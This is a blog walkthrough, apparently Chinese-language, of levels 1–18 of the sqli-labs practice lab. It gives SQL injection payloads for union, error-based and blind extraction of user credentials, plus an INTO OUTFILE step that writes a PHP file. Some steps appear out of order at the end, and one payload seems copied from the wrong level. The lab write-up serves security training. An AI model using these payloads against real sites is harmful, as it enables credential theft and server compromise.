Henry's Blog
  • CobaltStrike系列
    • CobaltStrike的基本操作
    • CobaltStrike会话管理
    • CobaltStrike重定向服务
    • CobaltStrike钓鱼攻击
    • 凭据导出与存储
    • Beacon的常用操作
    • DnsBeacon详解
    • 权限提升
    • 简单的内网信息收集
    • Cross2生成LinuxShell
    • CNA插件开发
    • Profile编写规则
    • BOF开发
    • execute-assembly原理
    • Vps搭建可能遇到的问题
  • OPSEC(免杀)
    • BypassPPL
    • Certutil绕过技巧
    • DLL劫持技术(白+黑)
    • PEB伪装
    • PpidSpoofing
    • Python反序列化免杀
    • WebShell绕过技巧
    • mimikatz免杀
    • 利用CobaltStrikeProfile实现免杀
    • 利用Windows异常机制实现Bypass
    • 削弱WindowsDefender
    • 模拟Powershell实现Bypass
    • 浅谈CobaltStrikeUDRL
    • 添加用户和计划任务(Bypass)
    • 移除NtDll的hook
    • 定位修改MsfShellcode特征码实现免杀
    • 利用COM接口实现进程断链执行.md
    • 免杀工具篇
      • Invoke-Obfuscation
      • Shellter
    • 流量检测逃避
      • CobaltStrike流量逃避.md
      • MSF流量加密.md
      • NC反弹Shell流量加密.md
  • Shellcode加密
    • 前置知识
    • XOR加密
    • AES加密
  • Shellcode加载器
    • 常见的加载方式
    • 分离加载
    • 创建纤程加载
    • 动态调用API加载
    • 基于APC注入加载
    • 基于反调试加载
    • 基于回调函数加载
    • 基于线程池加载
    • 模块踩踏
    • 进程镂空注入(傀儡进程)
    • 反射dll注入(内嵌式)
  • Web渗透
    • 信息收集
    • 各类Webshell
    • 基本漏洞利用
    • 远程命令执行漏洞
    • sql注入
    • sqlmap的使用方法
  • 内网渗透
    • 内网渗透前置知识
    • BadUsb制作
    • Linux反弹Shell总结
    • 内网渗透技术总结
    • 横向移动
      • GoToHttp
      • MS14-068
      • PassTheHash
      • PassTheTicket
      • Psexec
      • RustDesk
      • SMB横移
      • WMI横移
      • 用户枚举与爆破
    • 流量加密
      • CobaltStrike流量加密
      • MsfShell流量加密
      • OpenSSL加密反弹shell
  • 协议分析
    • TCP_IP协议
  • 权限提升
    • 土豆提权原理
    • UAC提权
  • 蓝队技术
    • 应急响应流程总结
  • 进程注入
    • Conhost注入
    • session0注入
    • 内核回调表注入
    • 剪切板注入
  • 逆向技术
    • HOOK技术
    • IDA遇到的坑
    • Shellcode的原理与编写
    • Windbg的使用
    • 使用Stardust框架编写Shellcode
    • PeToShellcode
    • 破解系列
      • PUSH窗体大法
      • VM绕过技巧(易语言)
      • Crackme_1
      • 反破解技术
      • 按钮事件特征码
      • 逆向调试符号
      • 破解实例
        • IDA逆向注册码算法
  • 钓鱼技术
    • Flash网页钓鱼
    • LNK钓鱼
    • 自解压程序加载木马
  • 隧道应用
    • 隧道应用前置知识
    • BurpSuite上游代理
    • DNS隧道传输
    • EarthWorm内网穿透
    • Frp内网穿透
    • ICMP隧道传输
    • MsfPortfwd端口转发
    • Neo-reGeorg内网穿透
    • NetCat工具使用
    • Netsh端口转发
    • SSH端口转发
    • 正向连接与反向连接
  • 基础学习
    • C和C++
      • C++编程
      • C程序设计
    • Linux学习
      • Linux Shell编程
      • linux基础
    • Python基础
      • python之Socket编程
      • python之多线程操作
      • python基础
      • python算法技巧
    • Qt基础
      • Qt笔记
    • 逆向基础
      • PE结构
      • Win32
      • 汇编语言
  • 漏洞复现
    • Web漏洞
      • ApacheShiro反序列化漏洞
    • 系统漏洞
      • Linux漏洞
        • ShellShock(CVE-2014-6271)
  • 靶场系列
    • Web靶场
      • pikachu靶场
      • sqli-labs
      • upload-labs
    • 内网靶场
      • Jarbas靶场
      • SickOS靶场
      • W1R3S靶场
      • prime靶场
      • vulnstack靶场系列一
      • vulnstack靶场系列二
      • vulnstack靶场系列四
  • 代码审计
    • PHP代码审计基础
  • 一些杂七杂八的
    • 开发工具与环境
      • Github的使用
      • JSP环境搭建
      • Pycharm设置代码片段
      • VS2017安装番茄助手(破解版)
      • VisualStudio项目模板的使用
      • WindowsServer搭建IIS环境
      • 安装Scoop
      • c++安装vcpkg
      • dotnet-cnblog的安装与使用
      • gitbook使用教程
      • kali安装burpsuite
      • 配置win2012域服务器
      • VSCode配置MinGW
    • 踩坑记录
      • BurpSuite导入证书
      • Powershell禁止执行脚本
      • centos7没有显示ip
      • kali安装pip2
      • oracle12没有scott用户
由 GitBook 提供支持
在本页
  • 环境搭建
  • 闯关过程
  • Less-1
  • Less-2
  • Less-3和Less-4
  • Less-5
  • Less-6
  • Less-7
  • Less-8
  • Less-9和Less-10
  • Less-11
  • Less-12
  • Less-13
  • Less-14
  • Less-15
  • Less-16
  • Less-17
  • Less-18
  1. 靶场系列
  2. Web靶场

sqli-labs

上一页pikachu靶场下一页upload-labs

最后更新于1年前

环境搭建

将下载好的sqlilabs解压到phpstudy的www目录

转到sqlilabs项目的sql-connections目录,用记事本打开db-creds.inc文件,将$dbuser和$dbpass的值修改成mysql数据库的账号与密码, 这里均修改成root

phpstudy的mysql数据库账号与密码默认为root

浏览器打开搭建好的sqlilabs目录,点击Setup安装靶场数据库文件

弄完这一步整个靶场环境就搭建完毕了

​

闯关过程

Less-1

less1的参数类型为字符串

Less-2

less2的参数类型为数字,和第一关的sql注入相似,此处就省略一些注入过程


Less-3和Less-4

less3和less4的注入步骤和前面两关一致,只是改变了闭合符号。less3的闭合符号为'),less4的是")

less3获取账号密码:http://127.0.0.1/sqli-labs-master/Less-3/?id=2') and 1=2 union select 1,2,group_concat(username,password) from security.users --+

less4获取账号密码:http://127.0.0.1/sqli-labs-master/Less-3/?id=2") and 1=2 union select 1,2,group_concat(username,password) from security.users --+

Less-5

直接采用报错注入,也可使用盲注入

获取当前数据库:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0) --+

发现这报错注入返回的信息长度只有32位,可以使用substr函数来解除限制

substr(str,start,length): 用于截获字符串的某段内容

substr("abcde",2), 返回值是"bcde"

substr("abcde",2,2), 返回值是"bc"

获取账号密码: http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(username,password) from security.users),32),0x7e),0) --+

Less-6

与第五关不同的是闭合符号,less5是单引号,less6是双引号

获取账号密码:http://127.0.0.1/sqli-labs-master/Less-6/?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(username,password) from security.users),32),0x7e),0) --+

Less-7

查看php代码发现,不管你是否注入成功,都不会返回你注入后返回的查询信息

遇到这种情况只能通过sql语句对当前页面所在目录写入webshell木马

写入webshell木马:http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) union select null,0x3c3f70687020706870696e666f28293b3f3e3b,null into outfile 'D:\\phpStudy\\WWW\\sqli-labs-master\\Less-7\\test.php' --+

写入webshell后查看当前页面所在目录,查看生成的webshell文件test.php

Less-8

通过查看php源码可以发现,与less7不同的是闭合符号由双引号改为单引号

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';
  	echo "<br>";
    	echo "</font>";
  	}
	else 
	{
	
	echo '<font size="5" color="#FFFF00">';
	//echo 'You are in...........';
	//print_r(mysql_error());
	//echo "You have an error in your SQL syntax";
	echo "</br></font>";	
	echo '<font color= "#0000ff" font size= 3>';	
	
	}
}
	else { echo "Please input the ID as parameter with numeric value";}

写入webshell木马:http://127.0.0.1/sqli-labs-master/Less-8/?id=1')) union select null,0x3c3f70687020706870696e666f28293b3f3e3b,null into outfile 'D:\\phpStudy\\WWW\\sqli-labs-master\\Less-7\\test.php' --+

Less-9和Less-10

查看当前页面的php源码,可以发现无论sql注入是否成功,其返回的信息都是一样的,面对此类情况只能采用时间盲注

时间盲注:通过判断网页的响应时间来获取数据库相关信息, 通常盲注的时间效率都很低

猜当前数据库字符串长度: http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(length(database()) = 8,sleep(5),null) --+

猜当前数据库的名字: http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(ascii(substr(database(),1,1)) = 115,sleep(5),null) --+

后面的注入流程是猜表名和字段名, 这里就省略过程了, 推荐使用burpsuite进行自动化盲注, 以此提高时间效率

对要猜的

Less-11

从以下的php源码可看出, 要在账号或密码输入框进行sql注入, 注释符号要改成#

@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
	$result=mysql_query($sql);
	$row = mysql_fetch_array($result);

	if($row)
	{
		echo 'Your Login name:'. $row['username'];
		echo 'Your Password:' .$row['password'];
  	}
	else  
	{
		print_r(mysql_error());	
		echo "</font>";  
	}

获取字段数: 1' order by 2#

**获取当前数据库: **1' union select 1,database()#

后续的步骤省略了

Less-12

获取字段payload: 1") order by 2#

获取当前数据库: 1") union select 1,database()#

Less-13

获取当前数据库: 1') and updatexml(1,concat(0x7e,(select database()),0x7e),0)#

Less-14

获取当前数据库:1" and updatexml(1,concat(0x7e,(select database()),0x7e),0)#

Less-15

通过php源码可知, 闭合符号是'

sql注入是否成功会影响页面的输出信息, 因此这里采用布尔盲注

猜数据库的长度: ' or length(database()) = 8#

Less-16

和15关注入流程相似, 使用布尔盲注, 闭合符号修改成")

猜数据库的长度: ") or length(database()) = 8#

Less-17

获取当前数据库: ' or updatexml(1,concat(0x7e,(select database()),0x7e),0) or '

Less-18

审计php源码, 账号和密码的参数都做了防护, 因此要从别的地方下手, 而且注入的前提是知道账号与密码

发现有处代码属于插入类型的报错注入, 可对user-agent头置入sql注入语句

修改user-agent的值: ' or updatexml(1,concat(0x7e,(database()),0x7e),0) or '

这里我使用火狐渗透浏览器自带的伪造信息头工具, 当然你也可以使用burpsuite

判断是否存在注入:http://127.0.0.1/sqli-labs-master/Less-1/?id=' or 1=1 --+

判断字段数:http://127.0.0.1/sqli-labs-master/Less-1/?id=1 order by 3 --+

获取当前数据库:http://127.0.0.1/sqli-labs-master/Less-1/?id=' union select 1,database(),3 --+

获取所有表名:http://127.0.0.1/sqli-labs-master/Less-1/?id=' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

获取所有字段名:http://127.0.0.1/sqli-labs-master/Less-1/?id=' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

获取账号密码:http://127.0.0.1/sqli-labs-master/Less-1/?id=' union select 1,2,group_concat(username,password) from security.users --+

less2获取账号密码:http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1=2 union select 1,2,group_concat(username,password) from security.users --+

获取账号密码:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,password) from security.users),0x7e),0) --+

在sql注入前,先给予靶场目录mysql的写入权限,修改mysql配置文件mysql.ini,在其末尾添加上一行secure_file_priv =, 随后重启mysql服务

从php源码可发现这关和Less11相似, 只是闭合符号变成了')

由php源码发现闭合符号为'), 且设置了输出报错信息

由php源码发现这关和Less13相似, 只是闭合符号变成了", 依然可采用报错注入

从php源码上看, 这种类型属于密码重置的报错注入, 密码框填sql注入语句, 账号框要填真实的账号

image-20220825100928793
image-20220825115103831
image-20220825115124103